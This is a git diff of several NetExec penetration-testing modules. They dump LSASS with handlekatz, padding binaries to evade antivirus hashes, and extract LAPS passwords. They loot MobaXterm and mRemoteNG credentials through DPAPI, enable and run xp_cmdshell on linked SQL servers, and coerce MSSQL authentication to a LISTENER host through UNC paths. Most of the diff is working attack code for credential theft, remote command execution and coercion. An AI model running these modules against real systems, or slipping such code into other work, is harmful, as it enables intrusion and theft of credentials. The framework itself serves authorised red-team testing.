self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "HANDLEKATZ_PATH" in module_options:
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
@@ -52,7 +50,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
handlekatz_loc = self.handlekatz_path + self.handlekatz
if self.useembeded:
try:
with open(handlekatz_loc, "wb") as handlekatz:
@@ -80,7 +78,6 @@ class NXCModule:
if not p or p == "None":
context.log.fail("Failed to execute command to get LSASS PID")
self.delete_handlekatz_binary(connection, context)
return
# we get a CSV string back from `tasklist`, so we grab the PID from it
pid = p.split(",")[1][1:-1]
@@ -99,15 +96,12 @@ class NXCModule:
context.log.fail("Process lsass.exe error un dump, try with verbose")
dump = False
if not dump:
self.delete_handlekatz_binary(connection, context)
return
else:
if dump:
regex = r"([A-Za-z0-9-]*\.log)"
matches = re.search(regex, str(p), re.MULTILINE)
if not matches:
context.log.display("Error getting the lsass.dmp file name")
return
sys.exit(1)
machine_name = matches.group()
context.log.display(f"Copy {machine_name} to host")
@@ -119,7 +113,12 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error while get file: {e}")
self.delete_handlekatz_binary()
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
@@ -183,10 +182,3 @@ class NXCModule:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail(f"Error opening dump file: {e}")
def delete_handlekatz_binary(self, connection, context):
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
-53
View File
@@ -1,53 +0,0 @@
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
class NXCModule:
"""Module by @joaovarelas"""
name = "hyperv-host"
description = "Performs a registry query on the VM to lookup its HyperV Host"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
""""""
def on_admin_login(self, context, connection):
self.context = context
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
key = "HostName"
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
# Query
try:
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
key_handle = ans["phkResult"]
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
self.context.log.highlight(f"{key}: {reg_value}")
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
except DCERPCException as e:
self.context.log.fail(f"DCERPC Error while querying registry: {e}")
except Exception as e:
self.context.log.fail(f"Error while querying registry: {e}")
finally:
remote_ops.finish()
+1 -6
View File
@@ -6,7 +6,7 @@
from base64 import b64decode
from os import path
import sys
from datetime import datetime
from nxc.paths import DATA_PATH
@@ -29,13 +29,8 @@ class NXCModule:
self.impersonate = "Impersonate.exe"
self.useembeded = True
self.token = self.cmd = ""
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
self.impersonate_embedded = b64decode(impersonate_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
+21 -27
View File
@@ -1,11 +1,10 @@
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
# Airbus CERT
# module by @mpgn_x64
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.dcomrt import IObjectExporter
@@ -14,36 +13,31 @@ class NXCModule:
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
multiple_hosts = False
def options(self, context, module_options):
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
""" """
def on_login(self, context, connection):
try:
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
rpctransport.setRemoteHost(connection.host)
authLevel = RPC_C_AUTHN_LEVEL_NONE
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(connection.host)
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(authLevel)
portmap.connect()
context.log.debug(f"Retrieving network interface of {connection.host}")
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
if self.pivot:
if NetworkAddr.rstrip("\x00") != connection.host:
context.log.highlight(f"Address: {NetworkAddr}")
else:
context.log.highlight(f"Address: {NetworkAddr}")
except Exception as e:
context.log.debug(e)
except DCERPCException as e:
context.log.error(f"DCERPCException error: {e}")
context.log.debug("[*] Retrieving network interface of " + connection.host)
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
context.log.highlight("Address: " + NetworkAddr)
except Exception as e:
context.log.debug(e)
+3 -3
View File
@@ -45,12 +45,12 @@ class NXCModule:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
try:
data = d.run()
except Exception as e:
context.log.fail(str(e))
continue
self.logger.fail(str(e))
return
r = json.loads(data)
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
elif "mslaps-password" in values:
+166 -223
View File
@@ -1,8 +1,6 @@
import socket
import ssl
import asyncio
import hashlib
import random
from msldap.connection import MSLDAPClientConnection
from msldap.commons.target import MSLDAPTarget
@@ -12,18 +10,19 @@ from asyauth.common.credentials.ntlm import NTLMCredential
from asyauth.common.credentials.kerberos import KerberosCredential
from asysocks.unicomm.common.target import UniTarget, UniProto
import contextlib
import sys
class NXCModule:
"""
Checks whether LDAP signing and LDAPS channel binding are required and/or enforced.
Checks whether LDAP signing and channelbinding are required.
Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0
Module by LuemmelSec (@theluemmel), updated by @zblurx
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
"""
name = "ldap-checker"
description = "Checks whether LDAP signing and channel binding are required and / or enforced"
description = "Checks whether LDAP signing and binding are required and / or enforced"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
@@ -31,229 +30,173 @@ class NXCModule:
def options(self, context, module_options):
"""No options available."""
# Conduct a bind to LDAPS and determine if channel
# binding is enforced based on the contents of potential
# errors returned. This can be determined unauthenticated,
# because the error indicating channel binding enforcement
# will be returned regardless of a successful LDAPS bind.
async def run_ldaps_noEPA(self, context, connection, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
_, err = await client.connect()
if err:
context.log.debug(f"Error connecting to {connection.domain}: {err}")
return None
client.cb_data = None
_, err = await client.bind()
if err and "data 80090346" in str(err):
return True # -> channel binding IS enforced
elif err and "data 52e" in str(err):
return False # -> channel binding not enforced
elif err is None:
return False # LDAPS bind successful -> channel binding not enforced
else:
context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}")
return None
except Exception as e:
context.log.debug(f"Exception in run_ldaps_noEPA: {e}")
return None
finally:
with contextlib.suppress(Exception):
await client.disconnect()
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that an
# LDAPS bind without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error received from the bind attempt.
async def run_ldaps_withEPA(self, context, connection, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
_, err = await client.connect()
if err:
context.log.fail(f"Error connecting to {connection.domain}: {err}")
return None
try:
context.log.debug("Retrieving TLS certificate hash...")
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
cert = ssl_sock.getpeercert(binary_form=True)
if cert:
cert_hash = hashlib.sha256(cert).digest()
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
pos = random.randint(0, len(cert_hash) - 1)
tampered_bytes = bytearray(cert_hash)
tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256
context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}")
context.log.debug(f"Modified byte at position {pos}")
client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes)
else:
client.cb_data = b"\x00" * 64
except Exception as e:
context.log.debug(f"Failed to retrieve TLS certificate hash: {e}")
client.cb_data = b"\x00" * 64
_, err = await client.bind()
if err and "data 80090346" in str(err):
return True
elif (err and "data 52e" in str(err)) or err is None:
return False
else:
context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}")
return None
except Exception as e:
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
return None
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
# interact with LDAPS. The condition for the certificate
# existing as it should is either an error regarding
# the fact that the certificate is self-signed, or
# no error at all. Any other "successful" edge cases
# not yet accounted for.
def does_ldaps_complete_handshake(self, context, dc_ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False)
try:
ssl_sock.connect((dc_ip, 636))
ssl_sock.do_handshake()
return True
except Exception as e:
if "CERTIFICATE_VERIFY_FAILED" in str(e):
return True
elif "handshake operation timed out" in str(e):
return False
else:
context.log.fail(f"Unexpected error during LDAPS handshake: {e}")
return False
finally:
ssl_sock.close()
# Conduct an LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(self, context, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
client._disable_signing = True # deliberately disable LDAP signing on client connection
_, err = await client.connect()
if err:
context.log.fail(f"Error connecting for LDAP bind: {err}")
return None
_, err = await client.bind()
if err:
errstr = str(err).lower()
if "stronger" in errstr:
return True
# because LDAP server signing requirements ARE enforced
else:
context.log.fail(f"LDAP bind error: {err}")
return None
else:
# LDAPS bind successful
return False
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(f"Exception during LDAP bind: {e}")
return None
# Determine authentication context and proceed to
# enumerate LDAP signing and channel binding settings
def on_login(self, context, connection):
stype = asyauthSecret.PASS
secret = connection.password
if connection.nthash:
stype = asyauthSecret.NT
secret = connection.nthash
if connection.aesKey:
stype = asyauthSecret.AES
secret = connection.aesKey
# Conduct a bind to LDAPS and determine if channel
# binding is enforced based on the contents of potential
# errors returned. This can be determined unauthenticated,
# because the error indicating channel binding enforcement
# will be returned regardless of a successful LDAPS bind.
async def run_ldaps_noEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
# Required step to try to bind without channel binding
ldapsClientConn.cb_data = None
anon_credential = NTLMCredential(
secret="",
username="",
domain=connection.domain,
stype=asyauthSecret.PASS
)
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
sys.exit()
if not connection.username and not secret:
context.log.highlight("No credentials provided, skipping LDAP signing check")
credential = anon_credential
else:
if not connection.kerberos:
credential = NTLMCredential(
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype
)
else:
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
valid, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True # channel binding IS enforced
elif "data 52e" in str(err):
return False # channel binding not enforced
elif err is None:
# LDAPS bind successful
# because channel binding is not enforced
return False
ldap_signing_status = None
if connection.username or secret:
target = MSLDAPTarget(
connection.host, 389,
hostname=connection.remoteName,
domain=connection.domain,
dc_ip=connection.kdcHost,
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that and
# LDAPS bind has without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error received from the bind attempt.
async def run_ldaps_withEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
sys.exit()
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
_, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True
elif "data 52e" in str(err):
return False
elif err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
elif err is None:
return False
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
# interact with LDAPS. The condition for the certificate
# existing as it should is either an error regarding
# the fact that the certificate is self-signed, or
# no error at all. Any other "successful" edge cases
# not yet accounted for.
def DoesLdapsCompleteHandshake(dcIp):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_sock = ssl_context.wrap_socket(
s,
do_handshake_on_connect=False,
suppress_ragged_eofs=False,
)
ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential))
if ldap_signing_status is True:
context.log.highlight("LDAP signing IS enforced")
elif ldap_signing_status is False:
context.log.highlight("LDAP signing NOT enforced")
else:
context.log.fail("Could not determine LDAP signing requirement.")
ssl_sock.connect((dcIp, 636))
try:
ssl_sock.do_handshake()
ssl_sock.close()
return True
except Exception as e:
if "CERTIFICATE_VERIFY_FAILED" in str(e):
ssl_sock.close()
return True
if "handshake operation timed out" in str(e):
ssl_sock.close()
return False
else:
context.log.fail("Unexpected error during LDAPS handshake: " + str(e))
ssl_sock.close()
return False
if self.does_ldaps_complete_handshake(context, connection.host):
target = MSLDAPTarget(
connection.host, 636,
UniProto.CLIENT_SSL_TCP,
hostname=connection.remoteName,
# Conduct and LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(target, credential):
try:
ldapsClientConn = MSLDAPClientConnection(target, credential)
ldapsClientConn._disable_signing = True
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail(str(err))
return False
_, err = await ldapsClientConn.bind()
if err is not None:
errstr = str(err).lower()
if "stronger" in errstr:
return True
# because LDAP server signing requirements ARE enforced
else:
context.log.fail(str(err))
else:
# LDAPS bind successful
return False
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(str(e))
return False
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
secret = connection.password if not connection.nthash else connection.nthash
if not connection.kerberos:
credential = NTLMCredential(
secret=secret,
username=connection.username,
domain=connection.domain,
dc_ip=connection.kdcHost,
stype=stype,
)
ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential))
ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential))
if ldaps_noEPA is False and ldaps_withEPA is True:
context.log.highlight("LDAPS channel binding is set to: When Supported")
elif ldaps_noEPA is False and ldaps_withEPA is False:
context.log.highlight("LDAPS channel binding is set to: Never")
elif ldaps_noEPA is True:
context.log.highlight("LDAPS channel binding is set to: Required")
else:
context.log.fail("Could not determine LDAPS channel binding settings")
else:
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!")
elif ldapIsProtected is True:
context.log.fail("LDAP Signing IS Enforced")
else:
context.log.fail("Connection fail, exiting now")
sys.exit()
if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
elif ldapsChannelBindingAlwaysCheck is True:
context.log.fail('LDAPS Channel Binding is set to "Required"')
else:
context.log.fail("\nSomething went wrong...")
sys.exit()
else:
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
-63
View File
@@ -1,63 +0,0 @@
class NXCModule:
"""
Enable or disable xp_cmdshell on a linked SQL server
Module by deathflamingo
"""
name = "link_enable_xp"
description = "Enable or disable xp_cmdshell on a linked SQL server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.action = None
self.linked_server = None
def options(self, context, module_options):
"""
Defines the options for enabling or disabling xp_cmdshell on the linked server.
ACTION Specifies whether to enable or disable:
- enable (default)
- disable
LINKED_SERVER The name of the linked SQL server to target.
"""
self.action = module_options.get("ACTION", "enable")
self.linked_server = module_options.get("LINKED_SERVER")
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server:
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
return
# Enable or disable xp_cmdshell based on action
if self.action == "enable":
self.enable_xp_cmdshell()
elif self.action == "disable":
self.disable_xp_cmdshell()
else:
self.context.log.fail(f"Unknown action: {self.action}")
def enable_xp_cmdshell(self):
"""Enable xp_cmdshell on the linked server."""
query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Enabling advanced options on {self.linked_server}...")
out = self.query_and_get_output(query)
query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...")
out = self.query_and_get_output(query)
self.context.log.display(out)
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
def disable_xp_cmdshell(self):
"""Disable xp_cmdshell on the linked server."""
query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...")
self.query_and_get_output(query)
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
def query_and_get_output(self, query):
"""Executes a query and returns the output."""
return self.mssql_conn.sql_query(query)
-44
View File
@@ -1,44 +0,0 @@
class NXCModule:
"""
Run xp_cmdshell commands on a linked SQL server
Module by deathflamingo
"""
name = "link_xpcmd"
description = "Run xp_cmdshell commands on a linked SQL server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
Defines the options for running xp_cmdshell commands on a linked server.
LINKED_SERVER The name of the linked SQL server to target.
CMD The command to run via xp_cmdshell.
"""
self.linked_server = module_options.get("LINKED_SERVER")
self.command = module_options.get("CMD")
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
return
self.run_xp_cmdshell(self.command)
def run_xp_cmdshell(self, cmd):
"""Run the specified command via xp_cmdshell on the linked server."""
query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]"
self.context.log.display(f"Running command on {self.linked_server}: {cmd}")
result = self.query_and_get_output(query)
self.context.log.success(f"Command output:\n{result}")
def query_and_get_output(self, query):
"""Executes a query and returns the output."""
return self.mssql_conn.sql_query(query)
+5 -8
View File
@@ -1,5 +1,3 @@
from pyasn1.error import PyAsn1Error
class NXCModule:
"""
@@ -23,10 +21,9 @@ class NXCModule:
multiple_hosts = False
def on_login(self, context, connection):
result = []
context.log.display("Getting the MachineAccountQuota")
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
try:
maq = result[0]["attributes"][0]["vals"][0]
context.log.highlight(f"MachineAccountQuota: {maq}")
except PyAsn1Error:
context.log.highlight("MachineAccountQuota: <not set>")
searchFilter = "(objectClass=*)"
attributes = ["ms-DS-MachineAccountQuota"]
result = connection.search(searchFilter, attributes)
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])
+89 -23
View File
@@ -1,8 +1,10 @@
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from nxc.helpers.logger import highlight
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
@@ -13,34 +15,99 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
""" """
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None
self.conn = None
self.target = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
target = Target.create(
domain=connection.domain,
dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()
if dc_conn.is_admin:
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug(f"Could not get domain backupkey: {e}")
self.target = Target.create(
domain=domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
use_kcache=use_kcache,
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
try:
self.conn = DPLootSMBConnection(self.target)
self.conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != "":
nthashes[username] = nthash
if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
@@ -48,15 +115,14 @@ class NXCModule:
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
def mobaxterm_callback(credential):
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
triage.triage_mobaxterm()
_, credentials = triage.triage_mobaxterm()
for credential in credentials:
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
+10 -6
View File
@@ -1,4 +1,5 @@
import ntpath
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
@@ -6,8 +7,6 @@ from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
@dataclass
class MRemoteNgEncryptionAttributes:
@@ -95,10 +94,7 @@ class NXCModule:
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if dploot_conn is None:
context.log.debug("Could not upgrade connection")
return
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
# 2. Dump users list
users = self.get_users(dploot_conn)
@@ -120,6 +116,14 @@ class NXCModule:
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
def get_users(self, conn):
users = []
-79
View File
@@ -1,79 +0,0 @@
import sys
class NXCModule:
"""Execute arbitrary SQL commands on the target MSSQL server"""
name = "mssql_coerce"
description = "Execute arbitrary SQL commands on the target MSSQL server"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
self.listener = None
def options(self, context, module_options):
"""
LISTENER LISTENER for exploitation
L Alias for LISTENER
"""
self.context = context
self.listener = None
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
if "L" in module_options:
self.listener = module_options["L"]
def on_login(self, context, connection):
if self.listener is None:
context.log.error("LISTENER option is required!")
sys.exit(1)
self.context = context
self.mssql_conn = connection.conn
commands = [
f"xp_dirtree '\\\\{self.listener}\\file';",
f"xp_fileexist '\\\\{self.listener}\\file';",
f"BACKUP LOG [TESTING] TO DISK = '\\\\{self.listener}\\file';",
f"BACKUP DATABASE [TESTING] TO DISK = '\\\\{self.listener}\\file';",
f"RESTORE LOG [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
